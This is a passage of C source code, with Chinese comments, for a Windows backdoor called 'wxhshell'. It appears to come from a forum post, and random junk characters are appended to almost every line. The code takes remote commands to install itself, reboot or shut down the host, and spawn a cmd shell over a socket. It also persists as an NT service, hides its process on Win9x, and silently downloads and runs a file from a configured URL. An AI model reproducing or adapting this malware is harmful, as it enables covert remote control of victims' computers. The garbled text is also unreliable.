  1 (i>Vt.+  
  // 帮助 6{$dFwl  
  case '?': { bQy%$7UmX,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P082.:q"  
    break; 2E2}|: ||&  
  } MH.,s@  
  // 安装 ww($0A`ek  
  case 'i': { Z&w^9;30P  
    if(Install()) kN j3!u$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"H 7zx  
    else NoO+xLHw8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1mJ_I|98  
    break; uvDoo6'  
    } H 1D;:n  
  // 卸载 ' f$L  
  case 'r': { 7F(F.ut  
    if(Uninstall()) ~Ex.Yp8.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :dguQ|e  
    else b!X"2'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EOX_[ek7  
    break; 06^1#M$'  
    } ZGpTw[5ql  
  // 显示 wxhshell 所在路径 @pG lWw9*  
  case 'p': { uT}TSwgp  
    char svExeFile[MAX_PATH]; paNw5] -  
    strcpy(svExeFile,"\n\r"); HS:}! [P  
      strcat(svExeFile,ExeFile); kr(<Y|  
        send(wsh,svExeFile,strlen(svExeFile),0); X^D9)kel  
    break; Dsj|~J3  
    } ~y2)&x  
  // 重启 ES\Q5)t/fo  
  case 'b': { ]rg+n c3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =/g$bZ  
    if(Boot(REBOOT)) Ydh<TF4!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9V;$v  
    else { uUz`=4%A  
    closesocket(wsh); ! F <] T  
    ExitThread(0); @ 9 { %Kn  
    } 2d2@J{  
    break; [9O~$! <%  
    } E,LYS"%_  
  // 关机 F[kW:-ne@Z  
  case 'd': { zZ9<4"CIk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9*|3E"Vr  
    if(Boot(SHUTDOWN)) %md^S |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V 7l{hEo3?  
    else { <.WM-Z  
    closesocket(wsh); zNny\Z  
    ExitThread(0); M7DLs;sD  
    } FGwnESCC  
    break; :5S |x/  
    } x$n~f:1Y  
  // 获取shell 7<:Wq=e!r  
  case 's': { 3_MS'&M  
    CmdShell(wsh); V[Rrst0yo  
    closesocket(wsh); +lW}ixt  
    ExitThread(0); adI!W-/R:  
    break; $% Ci8p  
  } z,bX.*.-  
  // 退出 g. ?*F#2  
  case 'x': { TH>?Gi) "  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o8'Mks  
    CloseIt(wsh); V5O=iMP  
    break; ySQ-!fQnP  
    } fJWxJSdi  
  // 离开 rg5]`-!=  
  case 'q': { R3j#WgltP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m-ph}  
    closesocket(wsh); 0\'Q&oTo  
    WSACleanup(); 3e%l8@R@  
    exit(1); eA?uny f2r  
    break; -R&E,X7N  
        } ,g/ _eROJ  
  } G#w^:UL  
  } zg#m09[4  
GsIwY {d  
  // 提示信息 DB`$Ru@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9q1HSJ1)  
} 5wH54g j}  
  } TCHqe19?  
f v E+.{  
  return; heL$2dZ5H  
} Tr8AG>  
2(m85/Hr\;  
// shell模块句柄 R CBf;$O  
int CmdShell(SOCKET sock) : 8^M5}  
{ _8Nw D_"  
STARTUPINFO si; 1Xy8|OFc[  
ZeroMemory(&si,sizeof(si)); M3Khc#5S(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P +dA~2k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y=vVxVI\  
PROCESS_INFORMATION ProcessInfo; 1BQ0M{&  
char cmdline[]="cmd"; fvcW'T}r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {f+N]Oo*  
  return 0; z\fW )/  
} -)1-~7 r  
khU6*`lQ  
// 自身启动模式 7/H^<%;y  
int StartFromService(void) fJN*s  
{ C.J`8@a]?  
typedef struct Oj4v#GK]  
{ 4\LZD{  
  DWORD ExitStatus; rv9B}%e  
  DWORD PebBaseAddress; #NvQmz?J?  
  DWORD AffinityMask; b TLMd$  
  DWORD BasePriority; FXP6zHsV  
  ULONG UniqueProcessId; b?_e+:\UV  
  ULONG InheritedFromUniqueProcessId; I|,pE**T  
}   PROCESS_BASIC_INFORMATION; Y5dD|]F|  
]} 61vV  
PROCNTQSIP NtQueryInformationProcess; q$r&4s)To  
sl/=g   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z Yw;q3"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U;xu/xDRi  
Y^52~[w~  
  HANDLE             hProcess; q#P$'7"  
  PROCESS_BASIC_INFORMATION pbi; v(DwU!  
I eG=J4:*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yND"bF9  
  if(NULL == hInst ) return 0; %35L=d[  
'_:(oAi,C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B*\$ /bk,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1T ( u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *GQDfs`m  
KZ=u54  
  if (!NtQueryInformationProcess) return 0; &V'519vmoZ  
CuH2E>wz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !fY7"E{%%  
  if(!hProcess) return 0; ypx: )e"/  
HTmI1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t\h$&[[l'z  
p SHSgd ~&  
  CloseHandle(hProcess); wV(AT$  
_7U]&Nh99  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X1+ wX`f  
if(hProcess==NULL) return 0; J/2j;,8D  
eD%H XGe  
HMODULE hMod; 96d~~2p  
char procName[255]; 1y J5l,q  
unsigned long cbNeeded; (Uk>?XAr  
xc9YM0B&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *5_V*v6  
~q)u(W C|  
  CloseHandle(hProcess); 7kKuZW@K-  
0ZMJ(C  
if(strstr(procName,"services")) return 1; // 以服务启动 M=OCz gj  
/F.Wigv  
  return 0; // 注册表启动 ,P{mk%=9  
} xH-X|N  
f-Jbs`(+  
// 主模块 )qL&%xz  
int StartWxhshell(LPSTR lpCmdLine) :ygWNK[ 6D  
{ >ys[I0bo  
  SOCKET wsl; ! QM.P t7c  
BOOL val=TRUE; iPq &Y*  
  int port=0; hoa7   
  struct sockaddr_in door; H&#{l)  
^$v3eKA  
  if(wscfg.ws_autoins) Install(); ~C-,G"zw&G  
)VSwT x&  
port=atoi(lpCmdLine); +TK3{5`!Ae  
k.<3HU  
if(port<=0) port=wscfg.ws_port; G8nrdN-9  
.`jo/,?+O  
  WSADATA data; tF*szf|$-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QT! 4[,4  
glj7$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O*[{z)M.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _]b3,% 2  
  door.sin_family = AF_INET; =pcF:D#+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .%}?b~  
  door.sin_port = htons(port); 7tNc=,x}  
y}FZD?"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )KE [!ofD  
closesocket(wsl); |?d#eQ9a  
return 1; j%L&jH 6@  
} fmfTSN(Q~`  
VIC0}LT0R  
  if(listen(wsl,2) == INVALID_SOCKET) { `0ZZ/] !L  
closesocket(wsl); n`ViTwd]MQ  
return 1; S${Zzt"  
} 7Ym(n8  
  Wxhshell(wsl); oRM)% N#  
  WSACleanup(); +x=)/;:  
0V$k7H$Z  
return 0; 4[yIOs  
?WUF!Jk  
} +-<}+8G;  
z0%\OhuCcf  
// 以NT服务方式启动 VA] e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1TS0X:TCn  
{ jCioE  
DWORD   status = 0; -`b8T0?oK  
  DWORD   specificError = 0xfffffff; `Out(Hn  
]5 Qy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,1oQ cC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; slu(SmQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0* ;O?T  
  serviceStatus.dwWin32ExitCode     = 0; E<E3&;qD  
  serviceStatus.dwServiceSpecificExitCode = 0; ~j>D=!  
  serviceStatus.dwCheckPoint       = 0; 0v)bA}k  
  serviceStatus.dwWaitHint       = 0; %zBCq"y  
 Es5f*P0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iD`d99f8O  
  if (hServiceStatusHandle==0) return; l[Q:}y  
lDc-W =X=  
status = GetLastError(); fB1TFtAh  
  if (status!=NO_ERROR) :s={[KBP  
{ 9Fo fr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ke_ [  
    serviceStatus.dwCheckPoint       = 0; `'I{U5;e  
    serviceStatus.dwWaitHint       = 0; ]:(W_ qEA  
    serviceStatus.dwWin32ExitCode     = status; dY7'OAUyVl  
    serviceStatus.dwServiceSpecificExitCode = specificError; m8R9{LC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JL=U,Mr6  
    return; H 3@Z.D  
  } %FZ2xyI.  
{ZU1x C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .zg8i_  
  serviceStatus.dwCheckPoint       = 0; \OILWQ[/  
  serviceStatus.dwWaitHint       = 0; asJ!NvVG'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '1?\/,em  
} 1'.7_EQ4T  
2P#=a?~[  
// 处理NT服务事件,比如:启动、停止 #KxbM-1=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e~l#4{w  
{ ;U9J++\d<A  
switch(fdwControl) QaIjLc~W  
{ Fd]\txOXj  
case SERVICE_CONTROL_STOP: B* kcN lW  
  serviceStatus.dwWin32ExitCode = 0; P{OAV+cG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h4|i%,f  
  serviceStatus.dwCheckPoint   = 0; ]z/Zq  
  serviceStatus.dwWaitHint     = 0; (8$k4`T>  
  { Y;4!i?el  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  hc#!Lv  
  } vhbDb)J  
  return; O.aG[ wm8  
case SERVICE_CONTROL_PAUSE: cH' iA.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q?b14]6im  
  break; W%<LTWOc  
case SERVICE_CONTROL_CONTINUE: 2. G=8:l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b-ll  
  break; fmqb` %  
case SERVICE_CONTROL_INTERROGATE: KWAb-yB  
  break; F{06 _T  
}; {]_uMg#!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;~fT,7qBah  
} 3@+b }9s8  
hu_ ^OlF  
// 标准应用程序主函数 [x=jH>Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kl7WQg,XOi  
{ PyVC}dUAX  
%^sTU4D5  
// 获取操作系统版本 9. 'h^#C  
OsIsNt=GetOsVer(); [(X y.L7x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'c2W}$q  
De7T s  
  // 从命令行安装 ZkL8e  
  if(strpbrk(lpCmdLine,"iI")) Install(); :B3[:MpL}  
-;f*VM.a  
  // 下载执行文件 FZjHw_pP  
if(wscfg.ws_downexe) { lC:k7<0Ji  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |4$M]Mf0  
  WinExec(wscfg.ws_filenam,SW_HIDE); b@RHc!,>jV  
} `&\Q +W  
theZ]5_C  
if(!OsIsNt) { ahx>q  
// 如果时win9x,隐藏进程并且设置为注册表启动 'z76 Sa  
HideProc(); sn7AR88M;  
StartWxhshell(lpCmdLine); )u))n#P  
} b0 iSn#$  
else S$KFf=0  
  if(StartFromService()) 4XVCHs(  
  // 以服务方式启动 X%yO5c\l2  
  StartServiceCtrlDispatcher(DispatchTable); ]7-&V-Ct*  
else F, U*yj  
  // 普通方式启动 @SCI"H%[  
  StartWxhshell(lpCmdLine); J>fQNW!{  
+"9hWb5  
return 0; g^*<f8 ~d  
}
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只看该作者 1 发表于: 2006-10-10
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